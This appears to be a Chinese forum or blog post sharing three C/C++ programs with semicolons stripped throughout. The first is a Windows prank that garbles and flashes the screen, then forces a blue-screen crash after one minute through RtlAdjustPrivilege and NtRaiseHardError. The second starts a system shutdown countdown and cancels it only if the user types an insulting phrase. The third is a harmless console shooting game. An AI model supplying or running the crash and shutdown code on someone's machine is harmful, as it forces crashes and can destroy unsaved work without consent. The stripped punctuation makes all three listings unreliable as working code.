先上代码
#include <Windows.h>#include <time.h>
using namespace std
int call
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)
int IconWidth = GetSystemMetrics(SM_CXICON)
int IconHeight = GetSystemMetrics(SM_CYICON)
HDC hdc=GetWindowDC(GetDesktopWindow())
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))
call++
return rand() % upper_bound
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)
Sleep(random(100))
}
return 0
}
int GetWay() {
int r=random(3)
switch(r) {
case 0:
return SRCAND
case 1:
return SRCINVERT
case 2:
return SRCPAINT
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth)
int RandHeight = random(ScreenHeight)
int RandxPixel = random(ScreenWidth - RandWidth)
int RandyPixel = random(ScreenHeight - RandHeight)
int RandDestxPixel = random(ScreenWidth - RandWidth)
int RandDestyPixel = random(ScreenHeight - RandHeight)
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)
Sleep(random(100))
}
return 0
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth)
int RandHeight = random(ScreenHeight)
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)
Sleep(random(100))
}
return 0
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000)
HMODULE ntdll = LoadLibrary("ntdll.dll")
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")
unsigned char temp0
long unsigned int temp1
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)
return 0
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2)
int RandyPixel = random(ScreenHeight - IconHeight / 2)
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))
Sleep(random(50))
}
return 0
}
int main(void) {
CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)
CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)
CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)
CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)
CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)
while(true)
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
#include"stdio.h"#include"stdlib.h"
#include"windows.h"
main()
{
int
i
printf("呃,我要做什么呢?让我想想")
for(i=1i<=7i++)
{
printf(".
")
Sleep(1*1000)
}
printf("\n")
printf("啊,有了
哈哈")
for(i=1i<=15i++)
{
printf("~")
Sleep(1*100)
}
printf("\n")
char
write[100]
system("shutdown
-s
-t
60")
printf("快说你是猪!不然就给你关机,你只有一分钟考虑时间!\n")
gt:
scanf("%s",write)
if(strcmp(write,"我是猪")==0)
{
printf("哈哈,这就对了~~~\n\n")
system("shutdown
-a")
}
if(strcmp(write,"我是猪")!=0)
{
printf("不说是吧?没关系,那就等着关机吧,哈哈哈哈!\n")
goto
gt
}
}
这个是个整人的小程序代码,打开后会有提示,提示后会启动系统关机倒计时,只有按提示输入正确的汉字才能关闭“系统关机”命令。本人初学者,自己调的,仅供参考。只做娱乐使用,注意保存修改过的文件。
一个打飞机的游戏,DEVc++编译通过:
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define zlx 10 //增量坐标(x)让游戏框不靠边
#define zly 3 //增量坐标(y)让游戏框不靠边
#define W 26 //游戏框的宽度
#define H 24 //游戏框的高度
int jiem[22][22]={0}, wj=10 //界面数组, 我机位置(初值为10)
int speed=4,density=30, score=0,death=0 //敌机速度, 敌机密度, 玩家成绩,死亡次数
int m=0,n=0 // m,n是控制敌机的变量
void gtxy (int x, int y) //控制光标位置的函数
{ COORD zb //zb代指坐标
zb.X = x zb.Y = y
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb )
}
void Color(int a) //设定颜色的函数(a应为1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a )}
void yinc(int x=1,int y=0) //隐藏光标的函数
{ CONSOLE_CURSOR_INFO gb={x,y} //gb代指光标, y设为0即隐藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb)
}
void csh( ) //初始化函数
{ int i
Color(7)
gtxy(zlx,zly)printf("╔") gtxy(zlx+W-2,zly)printf("╗") //左上角和右上角的框角
gtxy(zlx,zly+H-1)printf("╚")gtxy(zlx+W-2,zly+H-1)printf("╝")//下边两框角
for(i=2i<W-2i+=2) {gtxy(zlx+i,zly) printf("═")} //打印上横框
for(i=2i<W-2i+=2) {gtxy(zlx+i,zly+H-1)printf("═")} //打印下横框
for(i=1i<H-1i++) { gtxy(zlx,zly+i) printf("║")} //打印左竖框
for(i=1i<H-1i++) {gtxy(zlx+W-2,zly+i)printf("║")} //打印右竖框
Color(14)gtxy(19,2) printf("歼灭敌机") Color(10)
gtxy(37,5)printf("设置:Esc ")
gtxy(37,7)printf("发射:↑ ")
gtxy(37,9)printf("控制:← → ")
gtxy(37,11)printf("得分:%d",score)
gtxy(37,13)printf("死亡:%d",death)
yinc(1,0)
}
void qcjm( ) //清除界面函数
{ int i,j
for(i=0i<H-2i++)
for(j=0j<W-4j++){gtxy(zlx+2+j,zly+1+i)printf(" ")}
}
void feiji( ) //飞机移动函数
{ int i,j
for(i=21i>=0i--) //从底行往上是为了避免敌机直接冲出数组
for(j=0j<22j++)
{if(i==21&&jiem[i][j]==3) jiem[i][j]=0 //底行赋值0 以免越界
if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3
}
if(jiem[20][wj]==3&&jiem[21][wj]==1) death++
}
void zidan( ) //子d移动函数
{ int i,j
for(i=0i<22i++)
for(j=0j<22j++)
{ if(i==0&&jiem[i][j]==2) jiem[i][j]=0
if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7")
jiem[i][j]=0,jiem[i-1][j]=2}
}
}
void print( ) //输出界面函数
{int i,j
qcjm( )
for(i=0i<22i++)
for(j=0j<22j++)
{ gtxy(12+j,4+i)
if(jiem[i][j]==3) {Color(13)printf("□")}
if(jiem[i][j]==2) {Color(10)printf(".")}
if(jiem[i][j]==1) {Color(10)printf("■")}
}
gtxy(37,11)Color(10)printf("得分:%d",score)
gtxy(37,13)printf("死亡:%d",death)
}
void setting( ) //游戏设置函数
{ qcjm( )
gtxy(12,4)printf("选择敌机速度:")
gtxy(12,5)printf(" 1.快 2.中 3.慢>>")
switch(getche( ))
{case '1': speed=2break
case '2': speed=4break
case '3': speed=5break
default: gtxy(12,6)printf(" 错误!默认值")
}
gtxy(12,7)printf("选择敌机密度:")
gtxy(12,8)printf(" 1.大 2.中 3.小>>")
switch(getche( ))
{case '1': density=20break
case '2': density=30 break
case '3': density=40break
default: gtxy(12,9)printf(" 错误!默认值")
}
for(int i=0i<22i++)
for(int j=0j<22j++) jiem[i][j]=0
jiem[21][wj=10]=1 jiem[0][5]=3
gtxy(12,10)printf(" 按任意键保存...")
getch( )
qcjm( )
}
void run( ) //游戏运行函数
{ jiem[21][wj]=1 //值为1代表我机(2则为子d)
jiem[0][5]=3 //值为3代表敌机
SetConsoleTitle("歼灭敌机") //设置窗口标题
while(1)
{ if (kbhit( )) //如有键按下,控制我机左右移动、发射或进行设定
{ int key
if((key=getch( ))==224) key=getch( )
switch(key)
{case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1break
case 77: if(wj<20) jiem[21][wj]=0,jiem[21][++wj]=1 break
case 72: jiem[20][wj]=2break
case 27: setting( )
}
}
if(++n%density==0) //控制产生敌机的速度
{ n=0srand((unsigned)time(NULL))
jiem[0][rand( )%20+1]=3
}
if(++m%speed==0) { feiji( )m=0} //控制敌机移动速度(相对子d而言)
zidan( ) //子d移动
print( ) //输出界面
Sleep(120) //延时120毫秒
}
}
int main( )
{ csh( )
run( )
return 0
}
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